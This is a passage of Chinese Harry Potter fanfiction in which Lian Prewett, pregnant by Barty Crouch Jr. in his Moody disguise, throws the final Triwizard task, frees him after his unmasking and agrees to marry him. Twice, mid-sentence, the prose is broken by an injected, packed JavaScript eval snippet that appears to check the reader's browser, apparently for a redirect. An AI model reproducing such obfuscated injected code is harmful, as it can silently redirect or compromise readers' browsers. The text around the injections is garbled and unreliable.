莉安狠狠心,对着一脸难过欲言又止的比尔挥了挥手,“再见,表哥,毕业后我就回陋居,到时候我们再谈,好吗?” 说完,她跟着穆迪走了,比尔站在原地,愣了好久。 进了城堡后,穆迪一言不发,那条假腿走得飞快,看起来不比正常人差,他们很快回到了办公室,关上门后,穆迪坐到办公桌前批改七个年级的作业,仍然没有说话。 莉安怔怔的坐在床上,她也不知道要说什么,但她知道,他一定是在地图上看到了她和比尔在一起,才会那么快就找到他们。 过了一个小时,小巴蒂显形了,他把魔眼扔在地上,动作很大,那个眼球咕噜噜的滚到了地板上,还在转个不停。 他转过身来,表情阴鸷,没等莉安问他为什么发脾气,小巴蒂就紧紧的抓住了她的手臂,声音里压抑着极大的愤怒。 “靠得那么近,是不是我再晚一会儿赶到,你们两个的嘴唇又会黏上了?”他的声调里无疑带着嘲讽,“你不是和我说,你们已经分手了吗?还是在敷衍我?你想拿我寻开心,或者只是一时的屈服,等离开了霍格沃茨,你也要跟我提分手?” 莉安没有说话,倔强的瞪着他。 “你说毕业后跟我结婚,是不是消遣我?”小巴蒂见她又是这副嘴硬的死样子,便更愤怒了,“说话!你是哑巴了吗?你不是经常骂我吗?怎么现在一句话也说不出来了,是被我说中了吗?你在心虚?” “你想跟我分开,把我当可有可无的消遣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她扭过头,不愿意看见小巴蒂的表情,自顾自的继续说,“你不是有隐形衣吗?但凡你披着隐形衣在旁边听一听,你不会这么对我的,可是你看到地图上我的名字和他的挨在一起,你就失去理智了,是不是?你总是这样,一旦触及到你的利益,就变得急不可耐,你说实话,你真的喜欢我吗?还是把我当成你的所有物,像一个玩偶一样,只有占有欲,没有爱?” “我并不介意和你生孩子,我知道早晚会有这一天的,我也没想和你提分手,我一直想带你回家,是你不愿意离开霍格沃茨,巴蒂,你让我好好想想吧,你也好好想想,我们真的能在一起吗——” “为什么不能!”小巴蒂咄咄逼人的打断了她,“既然你跟他没有发生什么,我可以为我的鲁莽道歉,我向你认错,但是我不接受你后面那句话,把它收回去。” “还有,别再提什么占有欲,我没有把你当成玩偶,”小巴蒂紧紧的抱着她,把她的头往自己的肩上按,“我想跟你有未来,所以才想要孩子的,你别生气,好不好?我知道这阵子他一直在折腾你,我也心疼,那个药剂是我特意配的,等斯内普发现,他又要折腾波特了…” 说到这里,小巴蒂实在憋不住,放肆的笑出了声,他一边大笑一边恶劣的说,“啊…偷斯内普那个叛徒的材料给我的女人熬魔药,哈哈哈哈哈哈…” (斯内普:……狗东西你等着!) 莉安看着他发癫,心里涌起阵阵无力感,她一想到自己以后要跟这个疯子度过余生,就觉得悲从中来。 她突然开始掉眼泪,小巴蒂很少见到她哭,手忙脚乱的帮她擦眼泪,但是那眼泪越来越多,他干脆不擦了,仍然抱着她。 “是不是孕妇情绪起伏过大?怎么就哭了呢?吵架的时候都没哭…” “我是想到…”莉安哭得断断续续,不停的抽泣着,“一想到我的孩子是个神经病,像他的父亲那样,我就忍不住想哭…” 小巴蒂的表情僵住了。 过了半晌,他凶狠的说,“像我怎么了!我看你爱得很!” “呜呜呜…” “别哭了,”小巴蒂气急败坏的喊,“你想怎样啊?现在就把他哭出来吗?” “我想他跟我姓。” “那就跟你姓!” 1995年6月24日,第三场比赛。 晚上到礼堂吃饭时,莉安诧异的看着魔法部部长康奈利·福吉坐到了教师席上,巴格曼看上去挺高兴的,可是康奈利·福吉却绷着脸,一言不发。 “部长怎么来了?珀西呢?” 莫丽和比尔也坐在格兰芬多的长桌上,乔治、弗雷德和金妮也坐过来了,围着哈利三人组,就好像又回到了陋居一样。 晚餐比平时丰盛,莫丽正在吃菜肉烘饼,听了她的话,警惕的四处瞄了瞄,这才开口。 “部里不想把克劳奇失踪的事张扬出去,但他们把珀西拉了去,盘问他克劳奇发来的指示,他们好像认为这些指示可能不是克劳奇写的,所以珀西现在压力很大,他们不让他代替克劳奇当第五名裁判,而改让康奈利·福吉当了。” 莉安点点头,不知为何总有股不安的情绪,乍一看和魂不守舍的比尔有些相似,当施了魔法的天花板由蓝色转为暗紫的暮色时,邓布利多在教师席旁站起来,众人安静下来。 “女士们,先生们,再过五分钟,我就要请大家去魁地奇球场,观看三强争霸赛最后一个项目的比赛,现在请勇士们跟巴格曼先生到运动场去。” 莉安和哈利站起身,格兰芬多的学生一齐为他们鼓掌,韦斯莱一家和赫敏祝他们好运,他们和芙蓉、威克多尔一道走出礼堂。 他们走进魁地奇球场,这里已经变得完全认不出来了,一道二十英尺高的树篱把场地边缘团团围住,在他们面前有一个缺口,那便是这个大迷宫的入口,里面的通道黑黝黝的,有点吓人。 五分钟后,看台上开始进人,数百名学生鱼贯入座,空气中充满了兴奋的话语声和杂沓的脚步声,天空现在是澄澈的深蓝色,星星开始出现,海格、穆迪教授、麦格教授和弗立维教授走进运动场,向巴格曼和勇士们走来,他们帽子上都缀有闪光的大红星星。 “我们将在迷宫外面巡逻,”麦格教授说,“如果遇到困难,想得到救援,就朝天发射红色火花,我们会有人来帮你,听明白了吗?” 他们一起点头。 “好,你们去吧!”巴格曼愉快的对四位巡逻队员说。 他们朝不同方向走开,分布到迷宫周围,这时巴格曼用魔杖指着自己的喉咙,用了洪声咒,于是他那经过魔法放大的声音在看台上回响起来。 “女士们,先生们,三强争霸赛的最后一项比赛就要开始了!我来报一下目前的比分!莉安·普威特和哈利·波特——85分,并列第一,霍格沃茨学校!” 掌声和欢呼声把禁林的鸟儿惊飞到渐渐暗下来的夜空中。 “威克多尔·克鲁姆——80分,第二名,德姆斯特朗学院!” 又是一阵掌声。 “芙蓉·德拉库尔,第三名,布斯巴顿学院!” “现在……哈利和莉安,听我的哨声!”巴格曼说,“三——二——一——” 随着一声短促的哨音,哈利急忙奔进了迷宫,而莉安回头望了一眼穆迪所在的方向,不安的走入了黑暗中。 16. 复活 高高的树篱在小径上投下乌黑的影子,不知是由于树篱又高又密还是因为施了魔法的缘故,莉安一进入迷宫,观众的声音就听不见了。 她点亮了魔杖,遇到岔路口后,哈利选择了一条路,于是莉安往另一条路的方向走去。 这时,巴格曼的哨子又响了一声,看来是克鲁姆进迷宫了,莉安加快脚步,她选的这条路上似乎什么也没有,她不知道是不是自己的恋人动了什么手脚,心里有些惴惴不安,她向右一拐,匆匆往前赶,一只手高举着魔杖,想尽量看得远一点儿,但还是什么也看不到。 远处传来巴格曼的第三声哨响,现在四位勇士全都在迷宫里了。 迷宫里每一分钟都在变暗,头上的天空变成了黛青色,又遇到岔路口时,莉安低声念了个咒语,她的魔杖旋转了一下,指定了右边密实的树篱,那儿是北,而小巴蒂告诉她,去迷宫中心要朝西北方向走。 前面的路上还是空荡荡的,一直没有障碍,莉安抿着嘴,她不想这样,她觉得她完全可以靠自己的实力通关,拿不到三强杯也无所谓,也不知道小巴蒂到底是担心她还是担心他们的孩子。 她深吸一口气,竭力克制住自己不要再胡思乱想,她和他们的孩子有什么区别呢? 这时,莉安身后出来一阵慌乱的动静,芙蓉从右面一条小路上跑出来,她神色仓皇,衣袖上冒着烟。 “天呐!”芙蓉尖叫道,“我遇到了怪兽!它会喷火!还会爆炸!而且还有一股死鱼烂虾味!臭死了…” 莉安摇摇头,冲进了另一条路,想把芙蓉甩远点儿,但是芙蓉跟了上来,不依不饶的问道,“今天你那个亲属,是你哥哥吗?” “是的。”莉安冷淡的说,加快了脚步。 “他有女朋友吗?”芙蓉也跟着小跑起来。 “目前应该没有,”莉安的脚步顿了顿,平静的说,“我还以为你在跟罗杰·戴维斯谈恋爱。” “只是消遣,浪漫一下。”芙蓉不以为意的说。 法国姑娘一向奔放大胆,勇敢追爱,想当年,据说母亲也是这样追求父亲的,莉安的脸色柔和下来,对着芙蓉点点头。 “如果你觉得比尔很好…” “噢他很酷,我喜欢他的样子,”芙蓉见她很上道,愉快的说,“你知道他喜欢什么类型的女孩子嘛?” “我不是很清楚,”莉安继续往前走,“比尔是个很温柔的人,如果你能打动他,他会是个最好的伴侣。” 两人正在聊比尔的话题,一转弯,一个摄魂怪缓缓朝她们走来,大概十二英尺高,兜帽遮着面孔,腐烂结痴的双手直直的伸着,它一步步逼近,莉安和芙蓉能听到它喉咙里咯咯的喘息声,一种冰冷黏滑的感觉袭上她们的全身。 莉安竭力去想最愉快的事情,拼命集中精力想象着她当上傲罗,生下她和小巴蒂的孩子的情景,举起魔杖喊道:“Expecto patronum! ” 一只银色的奶牛猫从魔杖中蹦出来,向摄魂怪扑去,摄魂怪倒退两步,被它的长袍绊倒了… 莉安愣住了,摄魂怪还会摔跤吗? 这时,摄魂怪转了几转,突然变成了一个凄厉嚎叫的女鬼。 “Riddikulus! ”芙蓉举起魔杖,“它是个博格特而已啦。” 莉安又愣了一下,她的博格特怎么变成摄魂怪了? 一声爆响,炸出一缕青烟,奶牛猫也消失不见了,她们继续前进,左拐…右拐…再左拐…甚至有几次走入了死胡同,莉安又念了一次定向咒,发现向西走得太远了,于是她们不得不折回去,往右一拐,前方飘浮着一团奇异的金色迷雾。 她们走上前,用魔杖指着它,念了几个咒,但咒语径直穿过了金雾,对它毫无影响,正在这时,莉安身后的芙蓉突然发出一声尖叫,划破了四周的沉寂。 “芙蓉?”莉安转头喊道。 一片寂静,芙蓉不见了。 她出了什么事?莉安警惕的举着魔杖,向前走去,没一会儿,旁边的树篱传来了声音。 “你要干什么?”她看着从树林里钻出来的克鲁姆。 “Stupefy! ”克鲁姆对她举起魔杖时,莉安极快的击中了他,看来就是他偷袭了芙蓉。 咒语击中了克鲁姆的前胸,他猝然停住,朝前一扑,脸朝下趴在莉安脚边不动了。 莉安向空中发射了一串红色火花,火花围在克鲁姆上空,标出了他所在的位置,她必须让人来把他弄走…要不然他可能会被炸尾螺吃掉。 不知道芙蓉怎么样了,莉安默默的走在黑暗的小路上,她发现自己总是走进死胡同,但越来越浓的黑暗让她确定自己正接近迷宫的中心。 然后,当她走到一条又长又直的小路上时,前方又出现了动静,魔杖的光照在一个无比奇异的怪物身上,是斯芬克斯。 它的身体像一头狮子:巨大的脚爪、黄色的长尾,尾尖有一丛毛,但它却长着一个女人的脑袋。 哈利正在它面前抓耳挠腮,嘀嘀咕咕的不知道在说什么,莉安不想蹭他的光,快速往右边的小路一拐,三强杯一定很近了,魔杖告诉她方向完全正确,她撒腿跑了起来。 三强杯在一百米开外的底座上闪烁着诱人的光芒,突然一个黑影冲到了她前面的路上——哈利抢了先,他正在全速朝奖杯冲刺。 莉安加快了脚步,两眼盯着奖杯,她比哈利跑得快—— 突然,她不动了,哈利听到脚步声停住了,他回头时,就看到她站在原地,在奖杯的金光映照下,哈利能看到她脸上渴望的表情。 “你怎么了?” 莉安没有说话。 她觉得轻飘飘的,脑海里的思想和忧虑一扫而光,只留下一片朦朦胧胧的、看不见摸不着的喜悦。 她站在那里,感到特别轻松,无忧无虑,只模模糊糊的意识到哈利正在看着她。 然后,她听见了穆迪的声音,在她空荡荡的脑袋里某个遥远的角落里回响,“亲爱的,发射红色火花…发射红色火花…” 莉安顺从的举起魔杖,准备发射。 “发射红色火花…” “可是为什么呢?”她脑袋后面又有一个声音苏醒了。 “我要拿到三强杯,这是普威特的荣誉。”那个声音说。 “发射红色火花…快…亲爱的…听我的…” “不,我想要三强杯,”另外那个声音说,语气更坚定了一些,“不,我真的很想要…” “快!否则来不及了!想想我们的孩子!” 接下来,莉安的嘴唇颤抖着,她大汗淋漓,在哈利眼里就是她莫名其妙抖个不停,拿魔杖的手举起又放下。 结果就是她的表情慢慢平静下来,最终举起了手,发射了求援的红色火花。 哈利不再犹豫,抓住了奖杯的把手。 他的双脚离开了地面,但他无法松开攥着三强杯的手,它拖着他在呼啸的风声和旋转的色彩中向前飞去。 穆迪带着莉安从迷宫里出来时,庞弗雷夫人忙得要命,她才刚安顿好芙蓉和克鲁姆,但最有望夺冠的莉安也出局了,这是所有人都没想到的。 “把她交给我吧,穆迪教授。”庞弗雷夫人匆匆赶来,想要从他手里抢过一脸呆滞的莉安,但穆迪拒绝了。 “我带她回去,这是我的学生,”穆迪粗声粗气的说,“我那里有药剂,能治好她,而你都快要忙不过来了。” 庞弗雷夫人半信半疑的点了点头,转身忙自己的事去了,穆迪半拖半抱的带着心爱的人穿过吸气、尖叫、高喊的人群,朝城堡走去。 他们走过草坪、湖畔和德姆斯特朗的大船,莉安只模模糊糊听见了他沉重的喘息声。 噔,噔,噔,走上了大理石楼梯… 噔,噔,噔,穿过走廊… 她听到了钥匙插进锁眼的声音,一只杯子塞到她手里。 “喝下去…亲爱的…你会好受一点儿…” 她顺从的喝了茶。 “睡一会儿吧,亲爱的…相信我,然后我们就可以回家了…” 她躺到床上,闭上眼睛。 穆迪离开了办公室,锁上门,但贴心的留了灯——她怕黑,没有他的时候,她总会想要开着灯睡觉。 莉安并没有睡觉,她一直在拼命挣脱夺魂咒,小巴蒂教她抵抗过这个咒语,她必须要挣脱,她要问问他,他到底想做什么… 不知道过了多久,尽管办公室里光线昏暗,还能隐隐的听见远处魁地奇球场上人们的叫喊。 但是有两个声音更近… “…他是不是原谅了那些从来没有寻找过他的渣滓?那些叛徒、胆小鬼,他们连进阿兹卡班都不敢,那些没有信义的下贱的东西,他们有胆子戴着面具在魁地奇世界杯上胡闹,但看到我发射的黑魔标记之后却一个个溜走了…” “你发射的…你说什么呀?” “…黑魔王和我有很多共同之处,例如,我们都有非常令人失望的父亲…极其令人失望,哈利,我们都耻辱的继承了父亲的名字,我们都愉快的…非常愉快的…杀死了自己的父亲,以确保黑魔当道!” “你疯了,你疯了!” “我疯了?我们走着瞧!看看是谁疯了,黑魔王已经回来了,由我辅佐着他,哈利·波特,你没有征服他,现在——我要征服你!” 莉安意识模糊的想,这话可真够中二的,简直是个神经病。 神经病? 她的神经病呢? 这是她的神经病在说话吗? 莉安拼命跟脑子里那个强迫她睡觉的声音吵起来,又过了一会儿,她脑海里那种空谷回音般的空洞声音消失了,她十分清楚的记得刚才发生的事,立刻就想睁眼问个明白。 “…魔法部的巫师来了,到处施放昏迷咒,一个咒语射到闪闪和我站的树林里,打断了我们之间的纽带,我们俩都被击昏了。”小巴蒂用不带感情的平板语调说。 “闪闪被发现后,我父亲搜索了闪闪所在的灌木丛,也摸到了我躺在那儿,等到魔法部的其他人离开树林后,他重新对我施了夺魂咒,把我带回了家,他撵走了闪闪,因为她没能看好我,让我拿到了魔杖,差点儿让我跑掉了…” 莉安诧异的听着,不是她救了他吗? “…一天夜里,他由虫尾巴抱着来到我家,我主人得知我还活着,他在阿尔巴尼亚抓到了伯莎·乔金斯,他折磨她,使她说出了很多事,她对他讲了三强争霸赛的事,还告诉他们老傲罗穆迪要到霍格沃茨任教,主人继续折磨她,直到打破了我父亲施的遗忘咒,伯莎告诉他我从阿兹卡班逃了出来,我父亲把我关在家里,不让我去找主人,因此,我的主人知道了我仍然是他忠实的仆人——或许是最忠实的一个,根据伯莎提供的情报,我的主人想出了一个计划,他需要我,那天将近半夜时他上门来找我,是我父亲开的门…” 莉安越听越心惊,原来他在她开学之前突然离开,是跟黑魔头重逢了!他伪装穆迪的原因只是为了把哈利送到他主人那儿去! 他说出这么多真相,只可能是中了吐真剂! 但就算中了吐真剂,他也把她摘得干干净净… “今天夜里…”邓布利多说。 “我在晚饭前主动提出把三强杯放进迷宫,”小巴蒂低声说,“把它变成了门钥匙,我主人的计划成功了,他恢复了体力,我会得到所有巫师做梦都想象不到的奖赏。” “霍格沃茨是否有人暗地里协助你?”邓布利多问。 “没有。”小巴蒂的声音充满了痛苦。 嗖嗖的声音传来,莉安微微睁开眼睛,发现小巴蒂被结结实实捆了起来。 邓布利多说,“米勒娃,你能不能守在这里,我送哈利上楼?” “没问题。”麦格教授说。 “西弗勒斯,”邓布利多说,“麻烦你去把庞弗雷夫人叫来,我们需要把阿拉斯托·穆迪和莉安·普威特送进病房,然后你到场地上去,找到康奈利·福吉,把他带到这间办公室来,他肯定想亲自审问小克劳奇,你告诉他,如果他需要我,这半小时我在病房里。” “哈利?”邓布利多和哈利离开了,此时病房里只有麦格和小巴蒂。 莉安没时间心痛,她思索着怎么脱身,她不能离开小巴蒂,不能看他被送进阿兹卡班,失去的滋味,十四年前她已经尝过一次了。 她在床上悄悄摸索小巴蒂那根魔杖,她记得就在枕头下面… 一种奇异的寂静突然笼罩了整间办公室,冷风虽然仍旧和以往一样强劲,却忘记了吼叫,好像有人把风声关掉了,莉安感觉自己好像突然之间聋了。 麦格教授在尖叫,“你不该把它带进城堡!” 莉安睁开眼睛,一个身披斗篷、身高可及天花板的怪物从康奈利·福吉身后冒了出来,它的脸完全隐藏在头巾下面,但此刻,隐藏在头巾下面的脸正对着她,好像冰冻的水从她胸中升了起来,切割着她的内脏。 一阵寒意掠过全身,她感到自己的呼吸凝结在胸中了,那寒气灌入她的喉咙,冰彻心肺,绝望无助侵上心头,一直冷到她的胸膛,冷到她的心里,蔓延到全身…一层白色的浓雾环绕在她的周围,雾气模糊了她的视线,此刻她什么也看不见了。 然后她又听到那声音了…一个女人在尖叫,一道绿光闪过,她在她头里面哭着…她好像在往下坠落,在那冰冷的迷雾中坠落。 她淹没在寒冷之中了,耳朵里汹涌澎湃,像水流在冲击,耳朵里的声音更响了… 一只手迫不及待的从斗篷里伸出来,这只手发出微光,灰色、瘦削而且结了痂,像是什么东西死了、又泡在水里。 它迫不及待的滑行过来,放下头巾,飞快的朝小巴蒂扑去,将要给他致命武器——摄魂怪之吻。 莉安握住魔杖,猛地睁开了眼睛,一跃而起。 “Expecto patronum——” 银色的奶牛猫从莉安的杖尖升起,向摄魂怪跃去,它立刻后退,融进了黑暗之中,银猫在屋里一圈圈的慢跑,它的光芒非常强烈温暖,充满了整个办公室。 “Expelliarmus! ”她连发两道缴械咒,红光快速闪过,麦格教授因为被摄魂怪影响到了,她的魔杖飞到了莉安手里,等康奈利·福吉的魔杖落在她手里时,她一个用力撅断了它。 在麦格教授的震惊和康奈利·福吉的怒吼中,她的魔杖指向小巴蒂,帮他解除了束缚咒。 小巴蒂立刻翻身把莉安抓在手里,这时,莉安把之前被她摸到的他的魔杖塞进了他的另一只手里。 这一切都发生在一瞬间,邓布利多接到通知赶到时,他们已经跑出了城堡,正往大门的方向狂奔而去。 莉安对小巴蒂使了个眼色,仍然是一副迷茫的样子,他立刻会意,一手勒住她的脖子,一手用魔杖指着她的脸颊。 “放我走,不然我就杀了她。” “那你就杀了她。”斯内普冷冷的说。 “西弗勒斯,”邓布利多制止了他,“庞弗雷夫人说,威克多尔·克鲁姆中了夺魂咒,从而袭击了芙蓉·德拉库尔,看来普威特也是如此。” “你很聪明,但是这又能怎么样?”小巴蒂放肆的笑了笑,“如果普威特死了,想想魔法界的人会怎么谈论你——噢,他们会说,为了一个食死徒,邓布利多决定牺牲可怜的普威特兄弟留下的唯一的血脉,见死不救…” “不能放他走,”斯内普紧张的对邓布利多说,“如果他回到黑魔王身边——” 邓布利多摆了摆手,示意他不要说话,他面色凝重的盯着莉安,目光又移到小巴蒂脸上,露出厌恶的神情。 “你跟普威特相处了一年,对待她就像自己最喜欢的学生那样,你真的要这么做?” “没错,”小巴蒂不假思索的说,“我真没想到你会说出这么愚蠢的话,邓布利多,波特不也认为他是我最喜欢的学生吗?你们简直蠢得如出一辙。” 邓布利多显得有些恶心,他脸色是如此可怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你帮黑魔头重获了肉身,他会给你所有的巫师想象不到的奖赏,”莉安继续嘲讽他,“你可以回去找你的主人了,再也不用躲躲藏藏,马上就可以恢复以往那种暴力的日子,作为黑魔头手下最大的功臣和心腹,你的确让魔法界所有人记住你了,怎么还会躲在我这里?你现在就去找他吧。” “我的妻子和孩子在这里,我往哪儿去?”小巴蒂无耻又狡猾的说,“你那么痛恨黑魔王和食死徒,为什么要假装仍在受夺魂咒操控而救我呢?宝贝,你真是太聪明了…我为你着迷…你既把我救了出来,也没有暴露自己…” “我是个像老巴蒂·克劳奇一样的伪君子了,就算邓布利多没有识破我,但我知道,你毁了我的一切,我已经是个没有原则的人了,”莉安痛苦的流下眼泪,“这么多年的坚持,我的底线…我的信仰…通通被你打破了…” “你又救了我一次,”小巴蒂轻柔的吻掉了她的眼泪,两人湿漉漉的头发纠缠在一起,一个浅金色,一个稻草色,看上去有种奇异的美感,在水中飘飘荡荡,“别哭了,想想孩子…这下我会一直陪着你了。” 莉安的嘴唇抖了抖,很想骂他是罪犯、逃犯、罪大恶极该接受摄魂怪之吻的食死徒,但她终究没有说出口。 眼泪毫无预兆的涌了上来,现在,当她看着他时,她强迫自己不去回想他们共度的每个晚上——他们短暂的、幸福的、羞耻的秘密,他的声音触动了她的耳朵,然后在她的床边徘徊。 她一直在想,也许没有理由相信任何事情——什么都没发生,即便发生了,它也只是在睡梦中徘徊了一会儿,然后在深夜消失得无影无踪——他们不是都在假装这是一场梦吗?或许他们都不确定对方是不是在做梦。 当她意识到这个她酝酿了快一年却没有告诉任何人的问题不比一个泡沫更坚固时,一种越来越强烈的恐惧感慑住了她,哪怕是他最不经意的一个眼神都可能戳破这个泡沫。 她今晚是不是差点又失去他了?她是不是会因为一秒的犹豫而失去他?还是说她已经失去了他,就像她最终处于永久的暂时解雇状态,在偷来的时间里,在负债,在恋爱? 这一次,他让她无法呼吸。 她知道她的坚决不会持续很久,她的话语中出现了尖锐而不友好的东西,就像他刚刚在她的声音中察觉到的像用手指掐灭烛光下的美好那般,但他没有回击,他心虚,他混蛋,他拖着她下地狱。 讽刺,她喜欢讽刺他,它从一开始就把他们拉在一起,让他们觉得他们是两个迷失的灵魂,飘浮在一个沉闷单调的世界里,却不是朋友,只能做恋人。 她开始思考,也许应该不再与他见面,现状已然足够了,不应再继续下去,太多的混乱,太多的怀疑,太多的暗箭难防,一切都浸泡在腐蚀性的、魔药失败的混合物中,它会剥去她的皮肤,让她像一只初生的软体动物一般赤裸。 结束吧,她想,他可能会介怀,但他会比她恢复得更快,几个小时之内,他就会遗忘一切,甚至忘记他已经遗忘了这一切。 但对她而言,这需要很长一段时间,这让她不知所措,也许是时候重新考虑一下,让自己继续把心意隐藏起来吧。 小巴蒂看到她的表情,知道她显然在犹豫,他必须要加大赌注,打破他们之间现有的、危险的、痛苦的局面。 “别让我离开,”小巴蒂收起了脸上漫不经心的表情,可怜巴巴的说,“我的孩子一定很渴望父亲,就像我们一样,如果没有我,谁来照顾你们呢?” “有的时候,我害怕你比我了解你更了解我,”莉安疲惫的闭上眼睛,“你又在算计我,你明知道我父亲被黑魔头的手下杀死了,我跟他之间有着血海深仇,你却瞒着我做这种事,你真的把我放在心上了吗?我应该再狠心一点的,如果你真的被摄魂怪吻了,再也不会有人纠缠我了。” 这脆弱和恳求的姿态让她看了心碎,她宁愿自己不知道更好,她刚刚下定的决心又被他打碎了,渣都不剩。 他不可怜,她才可怜,她斗不过疯子,她盼着她对他的爱能自行减弱,但这是徒劳无功。 就在小巴蒂想着她的时候,他们之间的对话开始消散,就像一具埋在地下的木乃伊突然暴露在空气中,明天是将消失得无影无踪,还是成为他们最棒的进展?距离今晚的事似乎只有一个小时,但好像改变了一切。 改变什么?改变什么?他不停想,不停的问,好像下定决心要确保从今晚开始,一切都没有让他们的感情急转直下。 “你还愿意吗?老巴蒂那么对我,我只是想毁灭世界罢了,我知道你仇恨黑魔王,可我也不能放弃你,”小巴蒂摇着她的手臂,不停的撒娇,“我们说好的,毕业后就一起回来,虽然出了点儿意外,我差点儿回不来,但你带着我回来了,亲爱的,兑现承诺吧。” “什么承诺?”莉安淡淡的说。 “和我结婚。” “和一个差点没有灵魂的男人结婚是吗?” 这句沙哑的话在小巴蒂听到它的时候,好像给他施了魔法,它们从深夜的寂静中升起,就像他在寒冷的夜晚听到冰雹和窗户晃动的声音,试图从柜子里扯出的羊毛毯,但这条毯子却一点儿也不保暖,冻得他瑟瑟发抖。 他认为自己听懂了这句话,在他还没看清她的表情时,她就拒绝了他,甚至迫不及待的做出了拒绝状。 小巴蒂的表情变了,但莉安就像察觉到了什么似的,她睁开眼睛,翻到他身上,用手捂住他的两个耳朵,在他脸上匆匆吻了一下。 “我又忍不住嘲讽你了,别听。” 小巴蒂握住她的手,不假思索的吻了上去——软软的,她的手掌,莉安犹豫不决,不知道要不要把手拿开,似乎今晚的事并没有改变他们两人之间的关系,反而是两人彻底变成了一根绳子上的蚂蚱,距离变得更近了,以前横亘在他们之间的那些尖锐、杂乱、崎岖的东西已经消失不见,就像她在享受在他带来的暴风雪中被困的感觉,而且这种感觉似乎将永远持续下去。 “答应吗?” “答应。” 17. 医院 从霍格沃茨回来的第二天,莉安派自己的小精灵去霍格沃茨拿行李,并给邓布利多带口信自己平安无事,顺便把麦格教授的魔杖也还了回去。 她又给韦斯莱家写了一封信,昨晚莫丽和比尔都在看台,他们肯定吓坏了,她要通知他们她还活着,并拒绝他们来普威特祖宅看望她——毕竟房子已经藏起来了。 小巴蒂懒洋洋的看着她安排好后续事情,长腿一伸,倒在了沙发上,“你太心软了,麦格可没打算放过我,我不信她拦不住摄魂怪。” “邓布利多让福吉来审问你,谁能料到福吉带了一只摄魂怪呢?”莉安放飞了猫头鹰,这才坐到他身边,耐心的说,“我动作快是因为我时刻准备着偷袭麦格教授,谁知道摄魂怪也准备偷袭你,啊…麦格教授一定傻掉了。” 这时,闪闪端着一个大托盘走了过来,莉安把切成薄片的牛油果斜着叠成一排放在对半剖开的羊角包里,加上两片烟熏三文鱼,然后是奶酪、一小份黄芥末,最后把它们合拢,压得结结实实。 “快吃饭,”她说着,又把羊角包递给小巴蒂,“我一会儿去圣芒戈检查一下孩子的情况,再去陋居,可能比较晚回来。” 小巴蒂嚼着羊角包,又在茶几上扔了一把金色的小钥匙,含糊不清的说,“克劳奇的金库,认钥匙不认人,你可以去拿点儿加隆,我不知道里面有多少钱,很多年没去过了,放心,妖精才不会管巫师的闲事,就算我亲自去,他们都不会抓我。” 莉安两眼发直的看着那把小钥匙,片刻后,她的神情更柔和了,小巴蒂把克劳奇的财产交给她,证明也不是她自我感动式的爱着他,他也有付出。 小巴蒂一直在观察她的表情,这下满意了,他突然出其不意的掐住莉安的脸颊,恶声恶气的说,“只是钥匙就感动了?怎么说我在你身上花费的精力和时间才最宝贵,不是吗?教你成为傲罗,然后可能有一天让你对我拔出魔杖…哼,智者不入爱河是有道理的,爱情让人变得愚蠢。” “我比你还蠢,你犯下这种大错,简直罪恶滔天…但是…” 小巴蒂把最后一点羊角包塞进嘴里,扬着头等待她继续说下去。 “我很早就醒了,也听到了你和哈利的对话,甚至你所有的计划,但我还是认为,我不能失去你,”莉安低声说,“十四年前我真的以为你死了,那时我不懂死是什么意思,大概就是睡着了,有一天还会醒来,就像我盼着父亲回家那样,后来我渐渐长大了,可我越来越难过,你说的对,爱情就是两个蠢东西追来追去。” 小巴蒂得意的挑挑眉,“你当时才四岁,就已经有了口是心非的潜质,明明打雷的时候很需要我陪着你,但你表面上还嫌弃我,对我又踢又打,哈哈,一个小鬼头居然有这么多心机,你的确是猫,欲迎还拒的猫,一边恐惧我,一边需要我,嘴上说不要,身体却很诚实。” 莉安感觉自己脸上有点烫,小巴蒂欣赏着她害羞的神情,突然搂住她的腰,在她嘴唇上咬了一口,没有很用力,只是有点痒,湿漉漉的。 “你去吧,我可能会出去一趟,不知道多久回来,”小巴蒂翻身坐起,解开了睡袍,耍流氓一般伸了个懒腰,这才慵懒的说,“我尽量早点回来陪你,放心,不会有危险。” 莉安没有说不让他出去,她大概也知道,他可能是打算去跟黑魔头见面。 现在两人的生活简直不可思议,无法想象,这一对最亲密的伴侣,他们的立场却背道而驰,他们默契的不去干涉对方为他们阵营所做的事情,这不是防备,而是怕对方知道了,徒增烦恼。 他能不做坏事吗?不去折磨那些手无寸铁的麻瓜,不去折磨那些循规蹈矩生活的普通巫师,能吗? 就算他能,黑魔头不能。 这世界上最悲哀的事就是无法言喻的悲哀,她爱上了一个罪犯,他杀人放火,她不得不为他把风,防止他被人捉走,从此以后再也见不到他——这比他杀人放火更可怕,见不到他,是对她最重的惩罚。 莉安·普威特永远都有一盏星球熔岩灯。 永远都为他开着灯。 小巴蒂在楼上换完兜帽长袍下来,发现她还在发呆,于是摸了摸她的头发,“不是要去圣芒戈吗?要不我陪你?” “不,你会把别人吓到的,”莉安看到他这身跟十四年前一模一样的食死徒装扮,神情恍惚的说,“大坏蛋又来了…” 小巴蒂被她逗得一阵疯狂大笑,他吻了吻她的额头,戴上了面具,“不知道我们谁先回来,但是记得开着灯。” 莉安点点头,看他走到防护咒的范围之外,幻影移形了。 直到小巴蒂的身影消失,她才转身上了二楼,换了一身麻瓜的装扮,去圣芒戈检查身体。 莉安落在一条宽阔的街道,两旁都是商店,因为不容易找到一个好地址建医院——对角巷地皮不够,又不能像魔法部一样建在地下——不卫生,所以最后巫师们在这儿搞到一个地方,理由是病号可以混在人群中来来往往。 走了一会儿,她在一座老式的红砖百货商店门前停了下来,牌子上写着淘淘有限公司,看上去衰败冷清,橱窗里只有几个破裂的假人,歪戴着假发,姿态各异,穿的是至少十年以前的服装,积满灰尘的门上都挂着“停业装修”的大牌子。 